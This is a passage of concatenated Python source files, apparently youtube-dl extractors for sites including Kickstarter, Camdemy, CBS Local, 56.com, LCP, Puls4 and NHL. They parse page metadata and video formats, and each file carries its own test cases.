            return None
        for a_format in formats:
            stream_name = xpath_text(a_format, 'streamName', fatal=True)
            video_path = re.match(r'mp4\:(?P<path>.*)', stream_name).group('path')
            url = video_root + video_path
            vbr = xpath_text(a_format, 'bitrate')
            video_formats.append({
                'url': url,
                'vbr': int_or_none(vbr),
            })
        return video_formats

    def _parse_flv(self, metadata):
        formats = []
        akamai_url = xpath_text(metadata, './akamaiHost', fatal=True)
        audios = metadata.findall('./audios/audio')
        for audio in audios:
            formats.append({
                'url': 'rtmp://%s/ondemand?ovpfv=1.1' % akamai_url,
                'play_path': remove_end(audio.get('url'), '.flv'),
                'ext': 'flv',
                'vcodec': 'none',
                'format_id': audio.get('code'),
            })
        slide_video_path = xpath_text(metadata, './slideVideo', fatal=True)
        formats.append({
            'url': 'rtmp://%s/ondemand?ovpfv=1.1' % akamai_url,
            'play_path': remove_end(slide_video_path, '.flv'),
            'ext': 'flv',
            'format_note': 'slide deck video',
            'quality': -2,
            'preference': -2,
            'format_id': 'slides',
        })
        speaker_video_path = xpath_text(metadata, './speakerVideo', fatal=True)
        formats.append({
            'url': 'rtmp://%s/ondemand?ovpfv=1.1' % akamai_url,
            'play_path': remove_end(speaker_video_path, '.flv'),
            'ext': 'flv',
            'format_note': 'speaker video',
            'quality': -1,
            'preference': -1,
            'format_id': 'speaker',
        })
        return formats

    def _real_extract(self, url):
        video_id = self._match_id(url)

        xml_description = self._download_xml(url, video_id)
        metadata = xpath_element(xml_description, 'metadata')

        video_formats = self._parse_mp4(metadata)
        if video_formats is None:
            video_formats = self._parse_flv(metadata)

        return {
            'id': video_id,
            'formats': video_formats,
            'title': xpath_text(metadata, 'title', fatal=True),
            'duration': parse_duration(xpath_text(metadata, 'endTime')),
            'creator': xpath_text(metadata, 'speaker'),
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import smuggle_url


class KickStarterIE(InfoExtractor):
    _VALID_URL = r'https?://www\.kickstarter\.com/projects/(?P<id>[^/]*)/.*'
    _TESTS = [{
        'url': 'https://www.kickstarter.com/projects/1404461844/intersection-the-story-of-josh-grant/description',
        'md5': 'c81addca81327ffa66c642b5d8b08cab',
        'info_dict': {
            'id': '1404461844',
            'ext': 'mp4',
            'title': 'Intersection: The Story of Josh Grant by Kyle Cowling',
            'description': (
                'A unique motocross documentary that examines the '
                'life and mind of one of sports most elite athletes: Josh Grant.'
            ),
        },
    }, {
        'note': 'Embedded video (not using the native kickstarter video service)',
        'url': 'https://www.kickstarter.com/projects/597507018/pebble-e-paper-watch-for-iphone-and-android/posts/659178',
        'info_dict': {
            'id': '78704821',
            'ext': 'mp4',
            'uploader_id': 'pebble',
            'uploader': 'Pebble Technology',
            'title': 'Pebble iOS Notifications',
        },
        'add_ie': ['Vimeo'],
    }, {
        'url': 'https://www.kickstarter.com/projects/1420158244/power-drive-2000/widget/video.html',
        'info_dict': {
            'id': '1420158244',
            'ext': 'mp4',
            'title': 'Power Drive 2000',
        },
        'expected_warnings': ['OpenGraph description'],
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._html_search_regex(
            r'<title>\s*(.*?)(?:\s*&mdash;\s*Kickstarter)?\s*</title>',
            webpage, 'title')
        video_url = self._search_regex(
            r'data-video-url="(.*?)"',
            webpage, 'video URL', default=None)
        if video_url is None:  # No native kickstarter, look for embedded videos
            return {
                '_type': 'url_transparent',
                'ie_key': 'Generic',
                'url': smuggle_url(url, {'to_generic': True}),
                'title': title,
            }

        thumbnail = self._og_search_thumbnail(webpage, default=None)
        if thumbnail is None:
            thumbnail = self._html_search_regex(
                r'<img[^>]+class="[^"]+\s*poster\s*[^"]+"[^>]+src="([^"]+)"',
                webpage, 'thumbnail image', fatal=False)
        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': self._og_search_description(webpage),
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlencode,
    compat_urlparse,
)
from ..utils import (
    clean_html,
    parse_duration,
    str_to_int,
    unified_strdate,
)


class CamdemyIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?camdemy\.com/media/(?P<id>\d+)'
    _TESTS = [{
        # single file
        'url': 'http://www.camdemy.com/media/5181/',
        'md5': '5a5562b6a98b37873119102e052e311b',
        'info_dict': {
            'id': '5181',
            'ext': 'mp4',
            'title': 'Ch1-1 Introduction, Signals (02-23-2012)',
            'thumbnail': 're:^https?://.*\.jpg$',
            'creator': 'ss11spring',
            'duration': 1591,
            'upload_date': '20130114',
            'view_count': int,
        }
    }, {
        # With non-empty description
        # webpage returns "No permission or not login"
        'url': 'http://www.camdemy.com/media/13885',
        'md5': '4576a3bb2581f86c61044822adbd1249',
        'info_dict': {
            'id': '13885',
            'ext': 'mp4',
            'title': 'EverCam + Camdemy QuickStart',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 'md5:2a9f989c2b153a2342acee579c6e7db6',
            'creator': 'evercam',
            'duration': 318,
        }
    }, {
        # External source (YouTube)
        'url': 'http://www.camdemy.com/media/14842',
        'info_dict': {
            'id': '2vsYQzNIsJo',
            'ext': 'mp4',
            'title': 'Excel 2013 Tutorial - How to add Password Protection',
            'description': 'Excel 2013 Tutorial for Beginners - How to add Password Protection',
            'upload_date': '20130211',
            'uploader': 'Hun Kim',
            'uploader_id': 'hunkimtutorials',
        },
        'params': {
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        src_from = self._html_search_regex(
            r"class=['\"]srcFrom['\"][^>]*>Sources?(?:\s+from)?\s*:\s*<a[^>]+(?:href|title)=(['\"])(?P<url>(?:(?!\1).)+)\1",
            webpage, 'external source', default=None, group='url')
        if src_from:
            return self.url_result(src_from)

        oembed_obj = self._download_json(
            'http://www.camdemy.com/oembed/?format=json&url=' + url, video_id)

        title = oembed_obj['title']
        thumb_url = oembed_obj['thumbnail_url']
        video_folder = compat_urlparse.urljoin(thumb_url, 'video/')
        file_list_doc = self._download_xml(
            compat_urlparse.urljoin(video_folder, 'fileList.xml'),
            video_id, 'Downloading filelist XML')
        file_name = file_list_doc.find('./video/item/fileName').text
        video_url = compat_urlparse.urljoin(video_folder, file_name)

        # Some URLs return "No permission or not login" in a webpage despite being
        # freely available via oembed JSON URL (e.g. http://www.camdemy.com/media/13885)
        upload_date = unified_strdate(self._search_regex(
            r'>published on ([^<]+)<', webpage,
            'upload date', default=None))
        view_count = str_to_int(self._search_regex(
            r'role=["\']viewCnt["\'][^>]*>([\d,.]+) views',
            webpage, 'view count', default=None))
        description = self._html_search_meta(
            'description', webpage, default=None) or clean_html(
            oembed_obj.get('description'))

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'thumbnail': thumb_url,
            'description': description,
            'creator': oembed_obj.get('author_name'),
            'duration': parse_duration(oembed_obj.get('duration')),
            'upload_date': upload_date,
            'view_count': view_count,
        }


class CamdemyFolderIE(InfoExtractor):
    _VALID_URL = r'https?://www.camdemy.com/folder/(?P<id>\d+)'
    _TESTS = [{
        # links with trailing slash
        'url': 'http://www.camdemy.com/folder/450',
        'info_dict': {
            'id': '450',
            'title': '信號與系統 2012 & 2011 (Signals and Systems)',
        },
        'playlist_mincount': 145
    }, {
        # links without trailing slash
        # and multi-page
        'url': 'http://www.camdemy.com/folder/853',
        'info_dict': {
            'id': '853',
            'title': '科學計算 - 使用 Matlab'
        },
        'playlist_mincount': 20
    }, {
        # with displayMode parameter. For testing the codes to add parameters
        'url': 'http://www.camdemy.com/folder/853/?displayMode=defaultOrderByOrg',
        'info_dict': {
            'id': '853',
            'title': '科學計算 - 使用 Matlab'
        },
        'playlist_mincount': 20
    }]

    def _real_extract(self, url):
        folder_id = self._match_id(url)

        # Add displayMode=list so that all links are displayed in a single page
        parsed_url = list(compat_urlparse.urlparse(url))
        query = dict(compat_urlparse.parse_qsl(parsed_url[4]))
        query.update({'displayMode': 'list'})
        parsed_url[4] = compat_urllib_parse_urlencode(query)
        final_url = compat_urlparse.urlunparse(parsed_url)

        page = self._download_webpage(final_url, folder_id)
        matches = re.findall(r"href='(/media/\d+/?)'", page)

        entries = [self.url_result('http://www.camdemy.com' + media_path)
                   for media_path in matches]

        folder_title = self._html_search_meta('keywords', page)

        return self.playlist_result(entries, folder_id, folder_title)






# coding: utf-8
from __future__ import unicode_literals

from .anvato import AnvatoIE
from .sendtonews import SendtoNewsIE
from ..compat import compat_urlparse
from ..utils import unified_timestamp


class CBSLocalIE(AnvatoIE):
    _VALID_URL = r'https?://[a-z]+\.cbslocal\.com/\d+/\d+/\d+/(?P<id>[0-9a-z-]+)'

    _TESTS = [{
        # Anvato backend
        'url': 'http://losangeles.cbslocal.com/2016/05/16/safety-advocates-say-fatal-car-seat-failures-are-public-health-crisis',
        'md5': 'f0ee3081e3843f575fccef901199b212',
        'info_dict': {
            'id': '3401037',
            'ext': 'mp4',
            'title': 'Safety Advocates Say Fatal Car Seat Failures Are \'Public Health Crisis\'',
            'description': 'Collapsing seats have been the focus of scrutiny for decades, though experts say remarkably little has been done to address the issue. Randy Paige reports.',
            'thumbnail': 're:^https?://.*',
            'timestamp': 1463440500,
            'upload_date': '20160516',
            'subtitles': {
                'en': 'mincount:5',
            },
            'categories': [
                'Stations\\Spoken Word\\KCBSTV',
                'Syndication\\MSN',
                'Syndication\\NDN',
                'Syndication\\AOL',
                'Syndication\\Yahoo',
                'Syndication\\Tribune',
                'Syndication\\Curb.tv',
                'Content\\News'
            ],
        },
    }, {
        # SendtoNews embed
        'url': 'http://cleveland.cbslocal.com/2016/05/16/indians-score-season-high-15-runs-in-blowout-win-over-reds-rapid-reaction/',
        'info_dict': {
            'id': 'GxfCe0Zo7D-175909-5588',
        },
        'playlist_count': 9,
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)

        sendtonews_url = SendtoNewsIE._extract_url(webpage)
        if sendtonews_url:
            return self.url_result(
                compat_urlparse.urljoin(url, sendtonews_url),
                ie=SendtoNewsIE.ie_key())

        info_dict = self._extract_anvato_videos(webpage, display_id)

        time_str = self._html_search_regex(
            r'class="entry-date">([^<]+)<', webpage, 'released date', fatal=False)
        timestamp = unified_timestamp(time_str)

        info_dict.update({
            'display_id': display_id,
            'timestamp': timestamp,
        })

        return info_dict






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import js_to_json


class C56IE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:www|player)\.)?56\.com/(?:.+?/)?(?:v_|(?:play_album.+-))(?P<textid>.+?)\.(?:html|swf)'
    IE_NAME = '56.com'
    _TESTS = [{
        'url': 'http://www.56.com/u39/v_OTM0NDA3MTY.html',
        'md5': 'e59995ac63d0457783ea05f93f12a866',
        'info_dict': {
            'id': '93440716',
            'ext': 'flv',
            'title': '网事知多少 第32期：车怒',
            'duration': 283.813,
        },
    }, {
        'url': 'http://www.56.com/u47/v_MTM5NjQ5ODc2.html',
        'md5': '',
        'info_dict': {
            'id': '82247482',
            'title': '爱的诅咒之杜鹃花开',
        },
        'playlist_count': 7,
        'add_ie': ['Sohu'],
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url, flags=re.VERBOSE)
        text_id = mobj.group('textid')

        webpage = self._download_webpage(url, text_id)
        sohu_video_info_str = self._search_regex(
            r'var\s+sohuVideoInfo\s*=\s*({[^}]+});', webpage, 'Sohu video info', default=None)
        if sohu_video_info_str:
            sohu_video_info = self._parse_json(
                sohu_video_info_str, text_id, transform_source=js_to_json)
            return self.url_result(sohu_video_info['url'], 'Sohu')

        page = self._download_json(
            'http://vxml.56.com/json/%s/' % text_id, text_id, 'Downloading video info')

        info = page['info']

        formats = [
            {
                'format_id': f['type'],
                'filesize': int(f['filesize']),
                'url': f['url']
            } for f in info['rfiles']
        ]
        self._sort_formats(formats)

        return {
            'id': info['vid'],
            'title': info['Subject'],
            'duration': int(info['duration']) / 1000.0,
            'formats': formats,
            'thumbnail': info.get('bimg') or info.get('img'),
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from .arkena import ArkenaIE


class LcpPlayIE(ArkenaIE):
    _VALID_URL = r'https?://play\.lcp\.fr/embed/(?P<id>[^/]+)/(?P<account_id>[^/]+)/[^/]+/[^/]+'
    _TESTS = [{
        'url': 'http://play.lcp.fr/embed/327336/131064/darkmatter/0',
        'md5': 'b8bd9298542929c06c1c15788b1f277a',
        'info_dict': {
            'id': '327336',
            'ext': 'mp4',
            'title': '327336',
            'timestamp': 1456391602,
            'upload_date': '20160225',
        },
        'params': {
            'skip_download': True,
        },
    }]


class LcpIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?lcp\.fr/(?:[^/]+/)*(?P<id>[^/]+)'

    _TESTS = [{
        # arkena embed
        'url': 'http://www.lcp.fr/la-politique-en-video/schwartzenberg-prg-preconise-francois-hollande-de-participer-une-primaire',
        'md5': 'b8bd9298542929c06c1c15788b1f277a',
        'info_dict': {
            'id': 'd56d03e9',
            'ext': 'mp4',
            'title': 'Schwartzenberg (PRG) préconise à François Hollande de participer à une primaire à gauche',
            'description': 'md5:96ad55009548da9dea19f4120c6c16a8',
            'timestamp': 1456488895,
            'upload_date': '20160226',
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # dailymotion live stream
        'url': 'http://www.lcp.fr/le-direct',
        'info_dict': {
            'id': 'xji3qy',
            'ext': 'mp4',
            'title': 'La Chaine Parlementaire (LCP), Live TNT',
            'description': 'md5:5c69593f2de0f38bd9a949f2c95e870b',
            'uploader': 'LCP',
            'uploader_id': 'xbz33d',
            'timestamp': 1308923058,
            'upload_date': '20110624',
        },
        'params': {
            # m3u8 live stream
            'skip_download': True,
        },
    }, {
        'url': 'http://www.lcp.fr/emissions/277792-les-volontaires',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        play_url = self._search_regex(
            r'<iframe[^>]+src=(["\'])(?P<url>%s?(?:(?!\1).)*)\1' % LcpPlayIE._VALID_URL,
            webpage, 'play iframe', default=None, group='url')

        if not play_url:
            return self.url_result(url, 'Generic')

        title = self._og_search_title(webpage, default=None) or self._html_search_meta(
            'twitter:title', webpage, fatal=True)
        description = self._html_search_meta(
            ('description', 'twitter:description'), webpage)

        return {
            '_type': 'url_transparent',
            'ie_key': LcpPlayIE.ie_key(),
            'url': play_url,
            'display_id': display_id,
            'title': title,
            'description': description,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor


class ParliamentLiveUKIE(InfoExtractor):
    IE_NAME = 'parliamentlive.tv'
    IE_DESC = 'UK parliament videos'
    _VALID_URL = r'https?://www\.parliamentlive\.tv/Main/Player\.aspx\?(?:[^&]+&)*?meetingId=(?P<id>[0-9]+)'

    _TEST = {
        'url': 'http://www.parliamentlive.tv/Main/Player.aspx?meetingId=15121&player=windowsmedia',
        'info_dict': {
            'id': '15121',
            'ext': 'asf',
            'title': 'hoc home affairs committee, 18 mar 2014.pm',
            'description': 'md5:033b3acdf83304cd43946b2d5e5798d1',
        },
        'params': {
            'skip_download': True,  # Requires mplayer (mms)
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        webpage = self._download_webpage(url, video_id)

        asx_url = self._html_search_regex(
            r'embed.*?src="([^"]+)" name="MediaPlayer"', webpage,
            'metadata URL')
        asx = self._download_xml(asx_url, video_id, 'Downloading ASX metadata')
        video_url = asx.find('.//REF').attrib['HREF']

        title = self._search_regex(
            r'''(?x)player\.setClipDetails\(
                (?:(?:[0-9]+|"[^"]+"),\s*){2}
                "([^"]+",\s*"[^"]+)"
                ''',
            webpage, 'title').replace('", "', ', ')
        description = self._html_search_regex(
            r'(?s)<span id="MainContentPlaceHolder_CaptionsBlock_WitnessInfo">(.*?)</span>',
            webpage, 'description')

        return {
            'id': video_id,
            'ext': 'asf',
            'url': video_url,
            'title': title,
            'description': description,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class BIQLEIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?biqle\.(?:com|org|ru)/watch/(?P<id>-?\d+_\d+)'
    _TESTS = [{
        'url': 'http://www.biqle.ru/watch/847655_160197695',
        'md5': 'ad5f746a874ccded7b8f211aeea96637',
        'info_dict': {
            'id': '160197695',
            'ext': 'mp4',
            'title': 'Foo Fighters - The Pretender (Live at Wembley Stadium)',
            'uploader': 'Andrey Rogozin',
            'upload_date': '20110605',
        }
    }, {
        'url': 'https://biqle.org/watch/-44781847_168547604',
        'md5': '7f24e72af1db0edf7c1aaba513174f97',
        'info_dict': {
            'id': '168547604',
            'ext': 'mp4',
            'title': 'Ребенок в шоке от автоматической мойки',
            'uploader': 'Dmitry Kotov',
        },
        'skip': ' This video was marked as adult.  Embedding adult videos on external sites is prohibited.',
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        embed_url = self._proto_relative_url(self._search_regex(
            r'<iframe.+?src="((?:http:)?//daxab\.com/[^"]+)".*?></iframe>', webpage, 'embed url'))

        return {
            '_type': 'url_transparent',
            'url': embed_url,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    unified_strdate,
    int_or_none,
)


class Puls4IE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?puls4\.com/video/[^/]+/play/(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://www.puls4.com/video/pro-und-contra/play/2716816',
        'md5': '49f6a6629747eeec43cef6a46b5df81d',
        'info_dict': {
            'id': '2716816',
            'ext': 'mp4',
            'title': 'Pro und Contra vom 23.02.2015',
            'description': 'md5:293e44634d9477a67122489994675db6',
            'duration': 2989,
            'upload_date': '20150224',
            'uploader': 'PULS_4',
        },
        'skip': 'Only works from Germany',
    }, {
        'url': 'http://www.puls4.com/video/kult-spielfilme/play/1298106',
        'md5': '6a48316c8903ece8dab9b9a7bf7a59ec',
        'info_dict': {
            'id': '1298106',
            'ext': 'mp4',
            'title': 'Lucky Fritz',
        },
        'skip': 'Only works from Germany',
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        error_message = self._html_search_regex(
            r'<div[^>]+class="message-error"[^>]*>(.+?)</div>',
            webpage, 'error message', default=None)
        if error_message:
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, error_message), expected=True)

        real_url = self._html_search_regex(
            r'\"fsk-button\".+?href=\"([^"]+)',
            webpage, 'fsk_button', default=None)
        if real_url:
            webpage = self._download_webpage(real_url, video_id)

        player = self._search_regex(
            r'p4_video_player(?:_iframe)?\("video_\d+_container"\s*,(.+?)\);\s*\}',
            webpage, 'player')

        player_json = self._parse_json(
            '[%s]' % player, video_id,
            transform_source=lambda s: s.replace('undefined,', ''))

        formats = None
        result = None

        for v in player_json:
            if isinstance(v, list) and not formats:
                formats = [{
                    'url': f['url'],
                    'format': 'hd' if f.get('hd') else 'sd',
                    'width': int_or_none(f.get('size_x')),
                    'height': int_or_none(f.get('size_y')),
                    'tbr': int_or_none(f.get('bitrate')),
                } for f in v]
                self._sort_formats(formats)
            elif isinstance(v, dict) and not result:
                result = {
                    'id': video_id,
                    'title': v['videopartname'].strip(),
                    'description': v.get('videotitle'),
                    'duration': int_or_none(v.get('videoduration') or v.get('episodeduration')),
                    'upload_date': unified_strdate(v.get('clipreleasetime')),
                    'uploader': v.get('channel'),
                }

        result['formats'] = formats

        return result






from __future__ import unicode_literals

import re
import json
import os

from .common import InfoExtractor
from ..compat import (
    compat_urlparse,
    compat_urllib_parse_urlencode,
    compat_urllib_parse_urlparse,
    compat_str,
)
from ..utils import (
    unified_strdate,
    determine_ext,
    int_or_none,
    parse_iso8601,
    parse_duration,
)


class NHLBaseInfoExtractor(InfoExtractor):
    @staticmethod
    def _fix_json(json_string):
        return json_string.replace('\\\'', '\'')

    def _real_extract_video(self, video_id):
        vid_parts = video_id.split(',')
        if len(vid_parts) == 3:
            video_id = '%s0%s%s-X-h' % (vid_parts[0][:4], vid_parts[1], vid_parts[2].rjust(4, '0'))
        json_url = 'http://video.nhl.com/videocenter/servlets/playlist?ids=%s&format=json' % video_id
        data = self._download_json(
            json_url, video_id, transform_source=self._fix_json)
        return self._extract_video(data[0])

    def _extract_video(self, info):
        video_id = info['id']
        self.report_extraction(video_id)

        initial_video_url = info['publishPoint']
        if info['formats'] == '1':
            parsed_url = compat_urllib_parse_urlparse(initial_video_url)
            filename, ext = os.path.splitext(parsed_url.path)
            path = '%s_sd%s' % (filename, ext)
            data = compat_urllib_parse_urlencode({
                'type': 'fvod',
                'path': compat_urlparse.urlunparse(parsed_url[:2] + (path,) + parsed_url[3:])
            })
            path_url = 'http://video.nhl.com/videocenter/servlets/encryptvideopath?' + data
            path_doc = self._download_xml(
                path_url, video_id, 'Downloading final video url')
            video_url = path_doc.find('path').text
        else:
            video_url = initial_video_url

        join = compat_urlparse.urljoin
        ret = {
            'id': video_id,
            'title': info['name'],
            'url': video_url,
            'description': info['description'],
            'duration': int(info['duration']),
            'thumbnail': join(join(video_url, '/u/'), info['bigImage']),
            'upload_date': unified_strdate(info['releaseDate'].split('.')[0]),
        }
        if video_url.startswith('rtmp:'):
            mobj = re.match(r'(?P<tc_url>rtmp://[^/]+/(?P<app>[a-z0-9/]+))/(?P<play_path>mp4:.*)', video_url)
            ret.update({
                'tc_url': mobj.group('tc_url'),
                'play_path': mobj.group('play_path'),
                'app': mobj.group('app'),
                'no_resume': True,
            })
        return ret


class NHLVideocenterIE(NHLBaseInfoExtractor):
    IE_NAME = 'nhl.com:videocenter'
    _VALID_URL = r'https?://video(?P<team>\.[^.]*)?\.nhl\.com/videocenter/(?:console|embed)?(?:\?(?:.*?[?&])?)(?:id|hlg|playlist)=(?P<id>[-0-9a-zA-Z,]+)'

    _TESTS = [{
        'url': 'http://video.canucks.nhl.com/videocenter/console?catid=6?id=453614',
        'md5': 'db704a4ea09e8d3988c85e36cc892d09',
        'info_dict': {
            'id': '453614',
            'ext': 'mp4',
            'title': 'Quick clip: Weise 4-3 goal vs Flames',
            'description': 'Dale Weise scores his first of the season to put the Canucks up 4-3.',
            'duration': 18,
            'upload_date': '20131006',
        },
    }, {
        'url': 'http://video.nhl.com/videocenter/console?id=2014020024-628-h',
        'md5': 'd22e82bc592f52d37d24b03531ee9696',
        'info_dict': {
            'id': '2014020024-628-h',
            'ext': 'mp4',
            'title': 'Alex Galchenyuk Goal on Ray Emery (14:40/3rd)',
            'description': 'Home broadcast - Montreal Canadiens at Philadelphia Flyers - October 11, 2014',
            'duration': 0,
            'upload_date': '20141011',
        },
    }, {
        'url': 'http://video.mapleleafs.nhl.com/videocenter/console?id=58665&catid=802',
        'md5': 'c78fc64ea01777e426cfc202b746c825',
        'info_dict': {
            'id': '58665',
            'ext': 'flv',
            'title': 'Classic Game In Six - April 22, 1979',
            'description': 'It was the last playoff game for the Leafs in the decade, and the last time the Leafs and Habs played in the playoffs. Great game, not a great ending.',
            'duration': 400,
            'upload_date': '20100129'
        },
    }, {
        'url': 'http://video.flames.nhl.com/videocenter/console?id=630616',
        'only_matching': True,
    }, {
        'url': 'http://video.nhl.com/videocenter/?id=736722',
        'only_matching': True,
    }, {
        'url': 'http://video.nhl.com/videocenter/console?hlg=20142015,2,299&lang=en',
        'md5': '076fcb88c255154aacbf0a7accc3f340',
        'info_dict': {
            'id': '2014020299-X-h',
            'ext': 'mp4',
            'title': 'Penguins at Islanders / Game Highlights',
            'description': 'Home broadcast - Pittsburgh Penguins at New York Islanders - November 22, 2014',
            'duration': 268,
            'upload_date': '20141122',
        }
    }, {
        'url': 'http://video.oilers.nhl.com/videocenter/console?id=691469&catid=4',
        'info_dict': {
            'id': '691469',
            'ext': 'mp4',
            'title': 'RAW | Craig MacTavish Full Press Conference',
            'description': 'Oilers GM Craig MacTavish addresses the media at Rexall Place on Friday.',
            'upload_date': '20141205',
        },
        'params': {
            'skip_download': True,  # Requires rtmpdump
        }
    }, {
        'url': 'http://video.nhl.com/videocenter/embed?playlist=836127',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        return self._real_extract_video(video_id)


class NHLNewsIE(NHLBaseInfoExtractor):
    IE_NAME = 'nhl.com:news'
    IE_DESC = 'NHL news'
    _VALID_URL = r'https?://(?:.+?\.)?nhl\.com/(?:ice|club)/news\.html?(?:\?(?:.*?[?&])?)id=(?P<id>[-0-9a-zA-Z]+)'

    _TESTS = [{
        'url': 'http://www.nhl.com/ice/news.htm?id=750727',
        'md5': '4b3d1262e177687a3009937bd9ec0be8',
        'info_dict': {
            'id': '736722',
            'ext': 'mp4',
            'title': 'Cal Clutterbuck has been fined $2,000',
            'description': 'md5:45fe547d30edab88b23e0dd0ab1ed9e6',
            'duration': 37,
            'upload_date': '20150128',
        },
    }, {
        # iframe embed
        'url': 'http://sabres.nhl.com/club/news.htm?id=780189',
        'md5': '9f663d1c006c90ac9fb82777d4294e12',
        'info_dict': {
            'id': '836127',
            'ext': 'mp4',
            'title': 'Morning Skate: OTT vs. BUF (9/23/15)',
            'description': "Brian Duff chats with Tyler Ennis prior to Buffalo's first preseason home game.",
            'duration': 93,
            'upload_date': '20150923',
        },
    }]

    def _real_extract(self, url):
        news_id = self._match_id(url)
        webpage = self._download_webpage(url, news_id)
        video_id = self._search_regex(
            [r'pVid(\d+)', r"nlid\s*:\s*'(\d+)'",
             r'<iframe[^>]+src=["\']https?://video.*?\.nhl\.com/videocenter/embed\?.*\bplaylist=(\d+)'],
            webpage, 'video id')
        return self._real_extract_video(video_id)


class NHLVideocenterCategoryIE(NHLBaseInfoExtractor):
    IE_NAME = 'nhl.com:videocenter:category'
    IE_DESC = 'NHL videocenter category'
    _VALID_URL = r'https?://video\.(?P<team>[^.]*)\.nhl\.com/videocenter/(console\?[^(id=)]*catid=(?P<catid>[0-9]+)(?![&?]id=).*?)?$'
    _TEST = {
        'url': 'http://video.canucks.nhl.com/videocenter/console?catid=999',
        'info_dict': {
            'id': '999',
            'title': 'Highlights',
        },
        'playlist_count': 12,
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        team = mobj.group('team')
        webpage = self._download_webpage(url, team)
        cat_id = self._search_regex(
            [r'var defaultCatId = "(.+?)";',
             r'{statusIndex:0,index:0,.*?id:(.*?),'],
            webpage, 'category id')
        playlist_title = self._html_search_regex(
            r'tab0"[^>]*?>(.*?)</td>',
            webpage, 'playlist title', flags=re.DOTALL).lower().capitalize()

        data = compat_urllib_parse_urlencode({
            'cid': cat_id,
            # This is the default value
            'count': 12,
            'ptrs': 3,
            'format': 'json',
        })
        path = '/videocenter/servlets/browse?' + data
        request_url = compat_urlparse.urljoin(url, path)
        response = self._download_webpage(request_url, playlist_title)
        response = self._fix_json(response)
        if not response.strip():
            self._downloader.report_warning('Got an empty response, trying '
                                            'adding the "newvideos" parameter')
            response = self._download_webpage(request_url + '&newvideos=true',
                                              playlist_title)
            response = self._fix_json(response)
        videos = json.loads(response)

        return {
            '_type': 'playlist',
            'title': playlist_title,
            'id': cat_id,
            'entries': [self._extract_video(v) for v in videos],
        }


class NHLIE(InfoExtractor):
    IE_NAME = 'nhl.com'
    _VALID_URL = r'https?://(?:www\.)?nhl\.com/([^/]+/)*c-(?P<id>\d+)'
    _TESTS = [{
        # type=video
        'url': 'https://www.nhl.com/video/anisimov-cleans-up-mess/t-277752844/c-43663503',
        'md5': '0f7b9a8f986fb4b4eeeece9a56416eaf',
        'info_dict': {
            'id': '43663503',
            'ext': 'mp4',
            'title': 'Anisimov cleans up mess',
            'description': 'md5:a02354acdfe900e940ce40706939ca63',
            'timestamp': 1461288600,
            'upload_date': '20160422',
        },
    }, {
        # type=article
        'url': 'https://www.nhl.com/news/dennis-wideman-suspended/c-278258934',
        'md5': '1f39f4ea74c1394dea110699a25b366c',
        'info_dict': {
            'id': '40784403',
            'ext': 'mp4',
            'title': 'Wideman suspended by NHL',
            'description': 'Flames defenseman Dennis Wideman was banned 20 games for violation of Rule 40 (Physical Abuse of Officials)',
            'upload_date': '20160204',
            'timestamp': 1454544904,
        },
    }]

    def _real_extract(self, url):
        tmp_id = self._match_id(url)
        video_data = self._download_json(
            'https://nhl.bamcontent.com/nhl/id/v1/%s/details/web-v1.json' % tmp_id,
            tmp_id)
        if video_data.get('type') == 'article':
            video_data = video_data['media']

        video_id = compat_str(video_data['id'])
        title = video_data['title']

        formats = []
        for playback in video_data.get('playbacks', []):
            playback_url = playback.get('url')
            if not playback_url:
                continue
            ext = determine_ext(playback_url)
            if ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    playback_url, video_id, 'mp4', 'm3u8_native',
                    m3u8_id=playback.get('name', 'hls'), fatal=False))
            else:
                height = int_or_none(playback.get('height'))
                formats.append({
                    'format_id': playback.get('name', 'http' + ('-%dp' % height if height else '')),
                    'url': playback_url,
                    'width': int_or_none(playback.get('width')),
                    'height': height,
                })
        self._sort_formats(formats, ('preference', 'width', 'height', 'tbr', 'format_id'))

        thumbnails = []
        for thumbnail_id, thumbnail_data in video_data.get('image', {}).get('cuts', {}).items():
            thumbnail_url = thumbnail_data.get('src')
            if not thumbnail_url:
                continue
            thumbnails.append({
                'id': thumbnail_id,
                'url': thumbnail_url,
                'width': int_or_none(thumbnail_data.get('width')),
                'height': int_or_none(thumbnail_data.get('height')),
            })

        return {
            'id': video_id,
            'title': title,
